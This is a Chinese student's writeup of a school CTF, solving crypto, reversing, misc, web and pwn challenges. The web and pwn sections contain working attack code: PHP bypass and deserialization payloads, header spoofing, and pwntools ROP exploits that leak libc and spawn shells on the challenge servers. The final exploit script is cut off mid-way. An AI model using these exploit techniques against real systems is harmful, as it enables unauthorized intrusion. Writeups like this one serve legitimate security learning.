ISLab 结训赛 Writeup
本文最后更新于:2020年8月9日 早上
By: $SpaceSkyNet$
校内 ISLab 结训赛结束了,但是要写WP,所以我来复盘了(幸好每道题做的时候都截了点图,简单写了过程,手动狗头🐕)
总得来说,大部分题不难,但是有点坑(剩下的题就不会做了)……
MISC
只做出一道题(虽然只有两道)……
玩玩音频
下载附件:ハセガワダイスケ 菅野祐悟 - 杜王町Radio.wav hint:这么简单的题目,没有提示
flag格式:flag{XXX_XXX},词汇之间使用下划线分割,全部字母大写。遇到不认识的词汇就当成是一个好了。
放了一遍,听到了摩斯电码的声音,果断用Audacity打开(要用AE也不拦着),在默认波形图的右声道看见了摩斯电码,手动弄下来(以后还是写个脚本算了)
波形图右声道:-. .-- .--- --.. -.-- ...- -.. -.. ... -.-. --. .-. --.- -.. - --.- -..- . -.-. .-. -.- --. -.-- --- - --. .. .-.. ..-. --. -.-. .-.. .... .-- .. -.-- - .... ...- -.. -. -- -..- .-.. - .-- ..- --.. .--- -.-. --.- .- -- .-- ...- --. --.- .-- .-- .-. ...- .-.. -.-- ...- .--. ...- ..- -- -..- --.. ...- --.. . -... --. .-.. -...
摩斯电码解密,得到:
NWJZYVDDSCGRQDTQXECRKGYOTGILFGCLHWIYTHVDNMXLTWUZJCQAMWVGQWWRVLYVPVUMXZVZEBGLB
看起来毫无规律,继续找信息,在频谱图左声道发现信息。
频谱图左声道:KILLER QUEEN
猜想KILLER QUEEN
为某种密码的密钥,尝试多种后,确定是维吉尼亚密码。
但发现只有前面几个字母能组成单词,说明密钥应该没有空格,为KILLERQUEEN
,得到:
DOYOUENJOYTHISIMGOINGTOGIVEUPMYHUMANIDENTITYJOJOFLAGISIWILLNEVERLIKEMORIOHCHO
“人工智能”用下划线分词,得到(其实前半截不用管):
DO_YOU_ENJOY_THIS_IMGOING_TO_GIVE_UP_MY_HUMAN_IDENTITY_JOJO_FLAG_IS_I_WILL_NEVER_LIKE_MORIOHCHO
最终得到flag
:
flag{I_WILL_NEVER_LIKE_MORIOHCHO}
(又是JOJO,我也是醉了)
RE
unpackme
rc4同学拿到了一个奇怪的可执行文件,你能帮帮他吗?
file
命令一看,ELF x64
,ida走起,发现有upx壳,直接脱了(其实正常操作是你先运行一遍,会提示你有upx壳)。
继续ida,定位到main函数,发现使用了rc4加密(其实看题面也知道)
将key
(密钥)和pData
(密文)复制出来,自己写个rc4
(搜一个或者用现成的库也行)解密即可。
#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h>
#define MAX 65534
int S[256]; //向量S
char T[256]; //向量T
char Key[256] = "4C7AEB6C4B8640E59A7919B39BABAFE8";
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
for(int i = 0; i < 256; i++)
{
S[i] = i;
}
}
void init_Key()
{
// 初始密钥
int keylen = strlen(Key);
for(int i = 0; i < 256; i++) //初始化T[]
{
T[i] = Key[i%keylen];
}
}
void permute_S()
{
// 置换S;
int j = 0;
for(int i = 0; i < 256; i++)
{
j = (j + S[i] + T[i]) % 256;
S[i]^=S[j]^=S[i]^=S[j];
}
}
void create_key_stream(int textLength)
{
// 生成密钥流
int i,j;
int t, k;
int index = 0;
i = j = 0;
while(textLength --) //生成密钥流
{
i = (i+1)%256;
j = (j + S[i]) % 256;
S[i]^=S[j]^=S[i]^=S[j];
t = (S[i] + S[j]) % 256;
KeyStream[index] = S[t];
index ++;
}
}
void Rc4EncryptText(int *text, int textLength)
{
//加密 && 解密
init_S();
init_Key();
permute_S();
create_key_stream(textLength);
printf("============开始解密============:\n");
for(int i = 0; i < textLength; i++)
{
CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
}
for(int i = 0; i < textLength; i++)
{
printf("%c", CryptoText[i]);
}
printf("\n============解密完成============\n");
}
int main()
{
int c[200] = {0x9, 0xF0, 0x44, 0x4A, 0xD9, 0xE7, 0x80, 0x13, 0xA6, 0x1E, 0x0F, 0x8C, 0xEB, 0x75, 0x29, 0x57, 0x3B, 0x4B, 0xEF, 0x46, 0x76, 0xD4, 0xFF, 0xB6, 0xEE, 0x0C, 0x71, 0x6B, 0x69, 0xC9};
Rc4EncryptText(c, 30);
system("pause");
return 0;
}
编译运行得到flag:
flag{oh you know upx and rc4!}
WEB
签到
皮虾乐队的贝斯手不见了
首先查看网页html
源码,发现两个可疑字符串。
<!--{543557687D537D7B3372563D2A7E28566C7A405E564D6B565A54323F7534564D6C3068564D6C3061}-->
<!--543557687D537E474D71543341586F5354613F34563E34604B576D484F66573E47796F-->
长度都为偶数,首先想到hex
转str
,得到下面两个字符串。
T5Wh}S}{3rV=*~(Vlz@^VMkVZT2?u4VMl0hVMl0a
T5Wh}S~GMqT3AXoSTa?4V>4`KWmHOfW>Gyo
有点奇怪,不是常见的加密方式,但是看到题面,应该是属于base
家族的,多试几个,突然想起python
的b85decode
,解密得到了两个base64
字符串。
ZmxhZ19pc19ub3RfaGVyZV9oaGhoaGhh
ZmxhZ3t2ZXJ5X2Uyc3lfeTJzfQ==
解密,得到flag(第二行):
flag_is_not_here_hhhhhha
flag{very_e2sy_y2s}
(我出的链接)iscc
题里面也有base85
,大家可以试试
速度要快
Ash是一名爆破专家,是一名突破手
打开网站,发现是道php
代码审计题。
//index.php
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ezpass';
}
if($_SESSION['time']+5<time()){
session_destroy();
}
$Ash = $_REQUEST['Ash'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($Ash[0].$Ash[1]) && substr(md5($Ash),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=20){
echo $flag;
}
show_source(__FILE__);
?>
要求:
$5$秒钟之内让
$_SESSION['nums']
计数达到$20$。$Ash[0].$Ash[1]
要和$_SESSION['whoami']
相等,$_SESSION['whoami']
第一次是ezpass
,后面为随机生成长度为2的小写字母字符串并输出,每次修改。substr(md5($Ash),5,4)==0
可以用数组绕过,且不影响$Ash[0].$Ash[1]
所以思路很清晰,写个python
脚本爆破就行(如果你手速跟得上当我没说)
import requests,time
website = 'http://xiabee.cn:10001' #对应题目地址
url = "{}/?Ash[]=ezpass".format(website)
s = requests.Session()
start = time.time()
r = s.get(url)
for i in range(25):
url = "{}/?Ash[]=".format(website) + r.content[0:2].decode()
r = s.get(url)
if i > 20:
print(i, r.url, r.content[:100], r.content[-100:])
end = time.time()
print('Time:{}s'.format(end - start))
运行得到flag:
flag{boom_ez_j7st_d01t!}
(其实我还想写个Julia脚本来着的,不过python速度够了)
PHP真爱粉
PHP是世界上最好的语言(吗
打开网站,发现仍然是道php
代码审计题。
//index.php
<?php
highlight_file(__FILE__);
include('flag.php');
if ($_GET['xiao'] > 99999999 && strlen($_GET['xiao']) < 5)
echo "Well Done!".'<br>';
if (isset ( $_GET ['yu'] )) {
$yu = $_GET ['yu'];
if (is_numeric($yu))
die('Wrong Input!');
else{
switch ($yu) {
case 0 :break;
case 1 :break;
case 2 :echo "$flag";break;
default :echo "azhe?";break;
}
}
}
?>
发现只要绕过is_numeric
并让switch
认为$yu
是$2$就ok,所以直接异或绕过。
payload:http://xiabee.cn:10003/?yu=2^0
得到flag:
flag{p1h_1s_s0_ez}
Trick trick
一个反序列化的小trick
打开网站,结果还是道php
代码审计题,不过是反序列化的。
<?php
error_reporting(0);
include "class.php";
highlight_file(__FILE__);
if (isset($_GET['last'])) {
$last = $_GET['last'];
if (!stristr($last, "flag")) {
unserialize($last);
echo "<br>"."you find it";
// class is getF: public key
// must key="flag"
}
}
?>
如果没有stristr
过滤flag,payload如下:
O:4:"getF":1:{s:3:"key";s:4:"flag";}
过滤了其实也简单,因为序列化格式中使用S
就可以有16进制字符,所以修改过的payload如下(具体可见这里):
O:4:"getF":1:{s:3:"key";S:4:"\66lag";}
得到flag:
flag{unserialize_have many_tricks!}
头等舱
还记得10.0.0.55的备用地址是什么吗
看题面应该是个需要修改请求头的WEB题,所以先用Burp Suite抓包。
首先提醒Wrong Method!
,说明请求的方式不对,试了几个,发现PUT
请求是正确的。
接着是GG browser is so Great!
,说明需要修改UA,尝试修改为GG
,正确。
然后是Only localhost can access.
,说明需要修改Referer
,改为127.0.0.1
,正确。
最后是must jump from 10.0.0.55, but it seems down.
,说明需要修改X-Forwarded-For
,并且是备用地址,改为10.0.0.53
。
得到flag:
flag{eeeeaaaasyyyyy_ch2nge}
(剩下一道做不来了)
CRYPTO
babyRSA
simple rsa
n = 2175688405733541703870452086626738401792220260185622845647
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
入门RSA
,而且$n$如此短,直接上factordb.com。
然后……我们得到了3
个质数?emm……$3$个?!
的确有点怪,但是去搜搜多素数RSA
,还真有,具体可看多素数RSA系统简介。
所以一样算$\phi(n)$,由欧拉函数的积性,可得$\phi(n) = \phi(p) \times \phi(q) \times \phi(r)$($p,q,r$为分解出的质数)
即$\phi(n) = (p-1) \times (q-1) \times (r-1)$
然后和普通的RSA
一样求模逆得到$d$,然后去解密$c$即可。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import gmpy2
n = 2175688405733541703870452086626738401792220260185622845647
p, q, r = 12174597259764339563, \
12211006709935453691, \
14634929140319987959
phi_n = (p - 1) * (q - 1) * (r - 1)
e = 0x10001
c = 909189959980475048848571460773306576585339198658788147448
d = gmpy2.invert(e, phi_n)
M = bytes.fromhex(hex(pow(c,d,n))[2:])
print(M.decode())
得到flag:
flag{RsA_s0_3asiii!}
Random
老师说计算机里的随机数都是伪随机数
给了一个Python
脚本,分析一下。
import random
import socketserver
from Crypto.Util import number
import os
flag = os.environ.get('flag', 'flag{test_flag}')
class EncryptHandler(socketserver.BaseRequestHandler):
p = 1543
iv = 792
def encrypt(self, m: list):
self.r1.seed(self.r1_key)
self.r2.seed(self.r2_key)
res = []
w = self.iv
for i in m:
w = ((i + w + self.r1.randrange(0, self.p)) % self.p) * self.r2.randrange(0, self.p) % self.p
res.append(w)
w ^= self.random_key
return res
def setup(self):
self.random_key = random.randrange(0, self.p)
self.r1_key = random.randrange(0, self.p)
self.r2_key = random.randrange(0, self.p)
self.r1 = random.Random()
self.r2 = random.Random()
self.enc_flag = self.encrypt(list(flag.encode()))
def handle(self):
hello_msg = ('Hello, here gives you the encrypted Flag:\n'
'{}\n'
'You can type any msg, and I will give you the encrypted message\n'
).format(self.enc_flag)
self.request.sendall(hello_msg.encode())
while True:
msg = self.request.recv(1024)[:-1]
self.request.sendall((str(self.encrypt(msg)) + '\n').encode())
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 12001
with socketserver.ThreadingTCPServer((HOST, PORT), EncryptHandler) as server:
try:
server.serve_forever()
except KeyboardInterrupt:
server.shutdown()
交互式的Crypto
题,每次的keys都不一样,但是每次可以无限次交互,得到自己输入的密文。
同时发现每次调用encrypt
时,随机数种子都重新设置,就像题面说的,计算机里的随机数都是伪随机数
,一旦每次的随机数种子一定,则不断调用randrange
生成的随机数序列也一定,所以可以通过无限次交互爆破flag。
同时发现encrypt
的算法与字符串整体无关,只与局部某一位上的字符有关,所以爆破的次数复杂度是满足加法原理的。
设flag字符串长度为$n$,可打印字符的个数为$charCounts$,即我们最多爆破$n \times charCounts$次(其实也就接近$2000-3000$次,还是往多了算)。
而且我们发现flag字符串满足flag{xxx}
的结构,所以我们可以少爆破$6$个字符。
用pwntools
的交互功能写出Python
脚本。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
chars = r'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_+-*/\?><.,=!@#$%^&()[]{}~`;:'
context.log_level = 'debug'
io = remote('txcloud-bj3.felinae98.cn', 12001)
io.recvuntil('Hello, here gives you the encrypted Flag:\n')
r = io.recv().split(b'\n')[0]
flag_en = eval(r)
#print(r, flag_en)
flag_len = len(flag_en)
flag_str = 'flag{'
io.sendline(flag_str)
assert(eval(io.recv().split(b'\n')[0]) == flag_en[:len(flag_str)])
for i in range(len(flag_str), flag_len - 1):
for c in chars:
io.sendline(flag_str + c)
r = eval(io.recv().split(b'\n')[0])
if r[i] == flag_en[i]:
flag_str += c
break
flag_str += '}'
io.sendline(flag_str)
assert(eval(io.recv().split(b'\n')[0]) == flag_en)
print(flag_str)
io.close()
爆破得到flag:
flag{S1mpLest_cRyp0!}
Small e
这次分解不了了
仍然是RSA
,不过这次的$n$过大,没法分解,但是$e$很小,为$3$,且有$3$组不同$n$以及对应的密文,所以可以使用Hastad
广播攻击。
具体原理见CTF中的RSA基本套路(4)及其参考资料。
代码如下(这里使用Sage,需要自己安装,稍微有点大):
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from sage.all import PolynomialRing, ZZ, Zmod, crt, reduce
Cs = [9879971463914625690975893241580185387981496369356734957012721513373144938753569045503323744985869516225432489622517950293366904764152664636972215860898639778481845669980292323448545868723176321988532040102362409575435129737188286227622375002577654117407187235639039788403421568330907783489740293783760374579674272228953702822209345735718037784007905107507640441789566148023418182843850856028272425280660185409774791229291736804113219546032069271224441643592470352853688723172019556711071350797050854277490132448056258928350601925843959503438270798312618141538795176843674864017991973083157087900179066637653967471786, \
18601174471639330838673755997627097179717053665843260588739160926694895023115719989743218032177933064024790567417281962648968287556842258818888225805040849173826497707326525590383774570277339562504216146208571367319040674013938991326596042075188486353554578994481344994910413567203491400010042812019323116569805264327599429345975064505984904064402357370098622911816024581171930600566133580491190247014980742239289588062485016239992005485018607729737084787372336151888759198583123570341162243303928994460199822642294565067160393816192370390199699022295478284192467413238687379911409873590966380239175755869062503249758, \
16232129131608810282413937706144487240626338624250308577834225698445782468881682329646696899789457330498386668165599055270602304521900866238477820450745745574235835329025428831975135564432471301944638869445512637388111199953848153394755434332731325017811903037131194504517921570433491911858368670794242170207150194844396867824699460595352243616284981999437646934978307049377044110514736105768616893202608779347282837560546402961227548577594166063494153158225233408919063945070416486278018607780042733335959208255707942063870095648981102997015240784176457028384300754675188591655968245197618705494443537255712721037015
]
Ns = [16067817932594307041570490664780805848472742222521209486359183294876659529608435557600537260250449433611595173684925374508467672404417859479495004093579610726032262914323802262015761804257474778421075371915604733039622965481151880946821099347099589181944483948769906556017986079391359211585782596464924468208449010284942962635113163737362978946256184113197172628780615797285233916435176242221439390878162794629364484926505774613228229646458189210171950867198879934364120504046273177961083687027937189811732509344365844834160229805810205081446686611488115226014344875552419979932806334691942178914927653481984541110621, \
27220804436805864442162182442813759263069372128468811270228757759122242102746634331274204813645700606025198464757315069476396636457109385709010309093761124250367793217269514777894950749932026790104944920542415154470272710654996775902535083921322900858510081080526361203971974235685839596700898966986819478871421472486198215667112358892381840624555494963218129513959117765033488219148477371667129956523403726492811804971592929874287476692563269065787601147950636445646208059251015601569921025370871805357871922113088791024382926047840273911791193990034677955545643860434985638900984527560552087922124397003230357748287, \
18003911632122599813425550392025295318460144538002420546091473342504066065913374478380723966510863927323450160422323963085439934919821408030000597030220444017446677275520530600602313223716913843706289020789546341254298514327568202682323289952838243830866298465249322960573348784191060837060844553425424656343221015762038900638842760791476620770787585512880263777811650363550291113188707834451876652168342500756621692207745249699478983220317963165032407100517970067554347460807373078643124640438035329791669756566825583763144347915561928759654089817337965531158175165510730703911869587267266225122572337924741504872421
]
e = 3
# solve
cnt = e
PR = PolynomialRing(ZZ, 'x')
x = PR.gen()
Fs = []
for i in range(cnt):
f = PR(x ** e - Cs[i])
ff = f.change_ring(Zmod(Ns[i]))
ff = ff.monic()
f = ff.change_ring(ZZ)
Fs.append(f)
F = crt(Fs, Ns)
M = reduce(lambda x, y: x * y, Ns )
FF = F.change_ring(Zmod(M))
m = FF.small_roots() # LLL
if m:
m = hex(int(m[0]))[2:].strip('L')
print(bytes.fromhex(m))
else:
print('no ans')
运行得到flag:
flag{L0w_exp_1s_dAng3r!}
babyDES
一个超级简化版的DES,哪里出了问题
又给了一个Python
脚本,分析一下。
import os
import base64
from Crypto.Util import number, strxor
from flag import flag
assert(len(flag) == 34)
def gen_key():
return [os.urandom(17) for _ in range(8)]
def rnd(x: bytes, k: bytes):
assert(len(x) == 34)
l = x[:17]
r = x[17:]
_r = l
_l = strxor.strxor(strxor.strxor(r, k), l)
return _l + _r
def enc(x: bytes, keys):
res = x
for i in range(8):
res = rnd(res, keys[i])
return res
if __name__ == '__main__':
test = os.urandom(34)
keys = gen_key()
enc_test = enc(test, keys)
enc_flag = enc(flag.encode(), keys)
print(base64.b64encode(test).decode())
print(base64.b64encode(enc_test).decode())
print(base64.b64encode(enc_flag).decode())
这个DES简化的过于厉害,我们发现rnd
中的操作其实 等效于
$l$和$r$不断交换并异或,最后再和所有key的异或值异或。
所以我们并不需要知道所有key,我们只需要知道所有key的异或值即可。
而且我们已经有了一组明文和密文,所以就可以很容易得到所有key的异或值,从而解密enc_flag
。
import os
import base64
from Crypto.Util import strxor
def rnd_nokey(x: bytes):
assert(len(x) == 34)
l = x[:17]
r = x[17:]
_l = r
_r = strxor.strxor(r, l)
return _l + _r
def dec_nokey(x: bytes):
res = x
for i in range(8):
res = rnd_nokey(res)
return res
if __name__ == '__main__':
test = base64.b64decode('w4C2TsB73uEIwk14cvQMP9m/nakb+Wh1ZvF70o6BZuHy9w==')
enc_test = base64.b64decode('5+AplczBBKDQCWgudMjj8sLxU1K5mvFS7JS9xg1QdFxiJg==')
flag_enc = base64.b64decode('L03S5WraHoNkN//llN17IUicEn7gh9elR1s1L9KduKa9AQ==')
keys = strxor.strxor(dec_nokey(enc_test), test)
flag = strxor.strxor(dec_nokey(flag_enc), keys)
assert(len(flag) == 34)
print(flag)
运行得到flag:
flag{F3ist3l_-n3tw0Rk_soEEEEEasy!}
babyHash
一个优秀的哈希函数要做到抗碰撞哦,老师说用了Merkle–Damgård结构的哈希函数,只要压缩函数抗碰撞,本身就可以抗碰撞
仍然给了一个Python
脚本,分析一下。
import socketserver
from Crypto.Util import number
import itertools
from flag import flag
class HashHandler(socketserver.BaseRequestHandler):
iv = b'"[\xc3\x02D( \xf1'
def __padding(self, x: bytes):
if len(x) % 8:
pad_len = 8 - len(x) % 8
return x + bytes([pad_len] * pad_len)
else:
return x
def __compress(self, x: bytes):
num = number.bytes_to_long(x)
r = pow(num, 361268568442343347925, 664882992644331722007361840306123225067) & (2 ** 128 - 1)
m = int(bin(r)[2::2], 2)
s = m ^ (num >> 64)
return number.long_to_bytes(s)
def md(self, m: bytes):
m = self.__padding(m)
h = self.iv
for i in range(0, len(m), 8):
subm = m[i: i+8]
h = self.__compress(h + subm)
return h
def handle(self):
self.request.sendall(b'input a: ')
a = self.request.recv(1024)[:-1]
self.request.sendall(b'input b: ')
b = self.request.recv(1024)[:-1]
if a != b and self.md(a) == self.md(b):
self.request.sendall((flag + '\n').encode())
else:
self.request.sendall(b'nononono')
if __name__ == '__main__':
HOST, PORT = '0.0.0.0', 12002
with socketserver.ThreadingTCPServer((HOST, PORT), HashHandler) as server:
server.serve_forever()
又是交互式的Crypto
题,需要输入$a$, $b$,只要$a$, $b$不相等且$a$, $b$的hash值相等就得到flag。
发现__compress
函数应该抗碰撞,但是发现__padding
太简单,很容易构造出来符合题意的(但是我卡了半天),比如:
a = b'\x00' * 7
b = b'\x00' * 7 + b'\x01' * 1
所以用pwntools
的交互功能把$a$, $b$发过去再接收就可以得到flag:
flag{pAdding_15_v3rY_1mp0rtant}
(可以看看这些)
(剩下一道做不来了…………小山
是看了wyxdl的WP后写出的)
小山
哪怕老师听不懂你的想法,也不要用黑板擦砸他
还是一个Python
脚本,分析一下。
from flag import flag
from Crypto.Util import number
code = [] # 为 272 个大数,为节省空间就不写了
assert(len(flag) == 34)
m = number.bytes_to_long(flag.encode())
c = 0
for s in code:
temp = s & m
res = 0
while temp:
res ^= (temp & 1)
temp >>= 1
c *= 2
c += res
print(c)
将code
中的每一个作为掩码,和m
&得到的temp
去计算二进制有奇数还是偶数个1
,结果存在c
中……如果多想点,其实不就是个异或的线性方程组吗……
flag
的每一个二进制位作为未知数,code
的每个数的二进制每位作为一个方程的系数,c
的二进制每位作为每个方程的右端的值,然后高斯消元就可以了……
代码如下(借用了下wyxdl的高斯消元,稍微修改简洁了一点):
#!/usr/bin/python
# -*- coding: utf-8 -*-
from consts import code, c # 大数 code, c 置于 consts.py 文件中
import os
def intTo01List(x: int): #整数转为01列表
bin_x = bin(x)[2:]
list_x = list(map(int, bin_x))
return list_x
def codeToMatrix(code, c):
coeff = []
list_c = intTo01List(c)
max_col_len = 0
for i, s in enumerate(code):
list_s = intTo01List(s)
list_s.append(list_c[i])
max_col_len = max(len(list_s), max_col_len)
coeff.append(list_s)
for i, s in enumerate(coeff): # 二进制位数补齐
len_s = len(s)
if len_s < max_col_len:
s = [0] * (max_col_len - len_s) + s
coeff[i] = s
return coeff
def Gauss(Row: int, Column: int, A: list):
row, col, max_r = 0, 0, 0
X_Ans = [0 for _ in range(272)]
while row < Row and col < Column:
max_r = row
for i in range(row + 1, Row): # 找出当前列最大值
if (A[i][col]) > (A[max_r][col]): max_r = i
if max_r != row: # 交换
A[row], A[max_r] = A[max_r], A[row]
for i in range(row + 1, Row): # 消元
if A[i][col] == 0: continue
for j in range(col, Column + 1):
A[i][j] ^= A[row][j]
row += 1
col += 1
for i in range(row, Row): # 无解
if A[i][Column] != 0:
return -1, 0
if row < Column: # 无穷多解
return Column - row, 0
for i in range(Column - 1, 0 - 1, -1):
X_Ans[i] = A[i][Column]
for j in range(i + 1, Column):
X_Ans[i] ^= A[i][j] & X_Ans[j]
return 0, X_Ans
if __name__ == "__main__":
AMatrix = codeToMatrix(code, c)
retCode, Ans = Gauss(272, 272, AMatrix)
if retCode != 0: os._exit(0)
ans = ''
for i in range(272):
ans += str(Ans[i])
ans = hex(int(ans, 2))[2:]
if len(ans) % 2: ans = '0' + ans
print(bytes.fromhex(ans).decode())
运行得到flag:
flag{Y0u_ar3_tHe_maSTer_0f_CRYPTO}
(这个扔黑板擦的是伽罗华)
PWN
qiandao-pwn
checksec
发现是64位ELF且只开启了NX保护。
ida分析,发现main
函数和一个sh
函数,main
函数里有gets
,存在栈溢出漏洞。
发现sh
函数需要传入一个str
字符串与meow
一致才能getshell,所以用ROPgadget
找到pop rdi ret
的gadget,让rdi
指向meow
字符串的地址,再调用sh
函数getshell。
脚本如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'qiandao')
elf = ELF(pwn_file)
#io = process(pwn_file)
io = remote('everything411.top', 10014)
pop_rdi_ret = 0x401263
str_addr = 0x402004
rand_val = 0xdeadbeefdeadbeef
sh_addr = elf.symbols['sh']
payload = b'a' * 0x100 + p64(rand_val) + \
p64(pop_rdi_ret) + p64(str_addr) + \
p64(sh_addr)
io.sendline(payload)
io.interactive()
io.close()
交互得到flag:
flag{701ee0aa-4b7e-4b56-b139-e5bf13cfb6a3}
qiandao2
do you know one_gadget?
checksec
发现仍然是64位ELF且只开启了NX保护。
ida分析,发现main
函数和一个sh
函数(这个没用),main
函数里有gets
,存在栈溢出漏洞。
题目说用one_gadget
,但是由于做题时某些原因网不好,ruby
也没安装,所以自己简单构造了ROP
链搞定。
不管one_gadget
还是自己构造ROP
链,首先得泄露一个libc
的函数,减去偏移得到libc
的基地址。
整体过程:
找到
pop rdi ret
的gadget,gets
栈溢出泄露libc_start_main_got
并返回main
函数开头以继续利用栈溢出。减去偏移得到
libc
的基地址,计算system
和/bin/sh
地址。再次
gets
栈溢出getshell。
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'qiandao2')
libc = ELF(os.path.join(__dir__, 'x64_libc.so.6'))
elf = ELF(pwn_file)
#io = process(pwn_file)
io = remote('everything411.top', 10015)
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.symbols['main']
pop_rdi_ret = 0x401233
offset = 0x100
rand_val = 0xdeadbeefdeadbeef
payload = b'a' * offset + p64(rand_val) + \
p64(pop_rdi_ret) + p64(libc_start_main_got) + \
p64(puts_plt) + \
p64(main_addr)
io.sendline(payload)
r = io.recv().ljust(8, b'\x00')
print(r)
libc_start_main_addr = u64(r[:8])
print(hex(libc_start_main_addr))
libcbase = libc_start_main_addr - libc.symbols['__libc_start_main']
system_addr = libcbase + libc.symbols['system']
binsh_addr = libcbase + next(libc.search(b'/bin/sh'))
print(hex(system_addr - libcbase), hex(binsh_addr - libcbase))
payload = b'A' * offset + p64(rand_val) + \
p64(pop_rdi_ret) + p64(binsh_addr) + \
p64(system_addr)
io.sendline(payload)
io.interactive()
io.close()
交互得到flag:
flag{36bf0a9b-f5e1-43da-a501-de021b0dd182}
let’s overwrite
服务器上的可执行文件除了flag文本的本身内容不同以外,其他都完全相同
tips: stderr is available, beware of the output. no need to get a shell.
checksec
发现还是是64位ELF,但是开启了NX和Canary保护。
ida发现并没有什么可以泄露Canary的办法,而且看题面和ELF程序名称,知道是SSP leak
,flag就在str
字符串开头,我们只需要用某个保存flag地址覆盖libc_argv[0]
通过__stack_chk_fail
的错误信息就可以得到flag了。
不过,关键是哪个地址呢?我们gets时就覆盖了flag,而且也没找到它的副本(反正我没找到)……
不过……还有个地方,就是给str赋值的汇编代码段,那里是固定的,而且代码段.text一定可读,所以我们就泄露汇编的hex字符串吧,删掉汇编指令的hex字符,就可以得到flag
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'ssp')
elf = ELF(pwn_file)
io = process(pwn_file)
io = remote('everything411.top', 10098)
mov_flag_addr = 0x4011FD #0x4011B9
#gdb.attach(io)
io.sendlineafter('let\'s overwrite the flag\n', p64(mov_flag_addr) * 200)
print(io.recv())
io.sendline()
io.interactive()
io.close()
泄露两次(0x4011FD
、0x4011B9
)拼接得到的字符串:
b'H\xb8flag{oohH\xba_you__knH\x89\x85\xf0\xfe\xff\xffH\x89\x95\xf8\xfe\xff\xffH\xb8ow_!!_??H\xba_ssp_leaH\x89\x85H\xc7\x85\x10\xff\xff\xffk!!}H\xc7\x85\x18\xff\xff\xff'
删掉汇编指令的hex字符,得到flag:
flag{ooh_you__know_!!_??_ssp_leak!!}
C-programming-homework
类型转换的魔法
checksec
发现依旧是64位ELF且只开启了NX保护。
同时附送了C源码,分析一下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
long long stack[0x100]; // 栈
int p; // 栈顶,栈只有0x100长度,用int好了
long long pop()
{
return stack[--p];
}
void push(long long s)
{
stack[p++] = s;
}
void setp(long long s)
{
p = s;
}
int main(int argc, char const *argv[])
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char str[100];
long long s; // 试一试刚学的long long
while (1)
{
fgets(str, 50, stdin);
if (!strcmp(str, "pop\n") )
{
if (p == 0)
{
puts("stack empty!");
continue;
}
s=pop();
printf("%#llx\n", s);
}
else if (!strcmp(str, "push\n"))
{
if (p>=0x100)
{
puts("stack full!");
continue;
}
scanf("%llx", &s);
getchar();
push(s);
}
else if (!strcmp(str, "setpointer\n")) // 调试用
{
scanf("%llx", &s);
getchar();
if (s < 0) // 不能是负数!
{
puts("no negative number allowed!");
continue;
}
setp(s);
}
else if (!strcmp(str, "exit\n"))
{
puts("bye");
exit(0);
}
else
{
puts("error");
}
}
return 0;
}
通过分析和题面,我们可以通过long long
到int
类型转换的魔法,通过setpointer
将p
变为负数,通过其它操作读取,修改stack
。
//可以通过下面程序试验一下
#include<stdio.h>
int main()
{
int c = 0;
long long d = (~0U) + 1ll;
c = d;
printf("%d %lld\n", c, d);
return 0;
}
所以我们有了负数的p
可以干什么?由于ELF文件里bss
段的地址比got
段高,所以我们可以通过操作负数的p
来泄露一个libc
的函数,减去偏移得到libc
的基地址,并修改一个libc
的函数(分析发现我们可以修改strcmp
)的got
表使它指向system/execv
。
整体过程:
- 先执行一次
pop
操作,使puts_got
绑定libc
中的地址(如果泄露setbuf
就可以不用进行这个操作)。 - 通过计算
stack
首地址与puts_got
的距离,使用setpointer
使负数的p
指向puts_got + 1
(因为pop
操作是--p
),并用pop
操作得到puts_got
。 - 减去偏移得到
libc
的基地址,计算system
地址。 - 计算
stack
首地址与strcmp_got
的距离,使用setpointer
使负数的p
指向strcmp_got
,并用push
操作修改strcmp_got
指向system
。 - 再次传入
/bin/sh
,成功getshell
代码如下:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *
import os
__dir__ = os.path.dirname(__file__)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
pwn_file = os.path.join(__dir__, 'homework')
libc = ELF(os.path.join(__dir__, 'x64_libc.so.6'))
elf = ELF(pwn_file)
# io = process(pwn_file)
io = remote('everything411.top', 10013)
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
stack_array_addr = elf.symbols['stack']
int_over_num = 4294967296 # -> 0
# print(hex(puts_got), hex(stack_array_addr))
# gdb.attach(io)
io.sendline('pop') # p = 0, let puts_got get libc addr
# leak libc_puts_addr
io.sendline('setpointer')
io.sendline(hex(int_over_num + 1 - (stack_array_addr - puts_got) // 8)[2:]) # pop -> --p ,so +1
io.sendline('pop')
io.recvuntil('stack empty!\n')
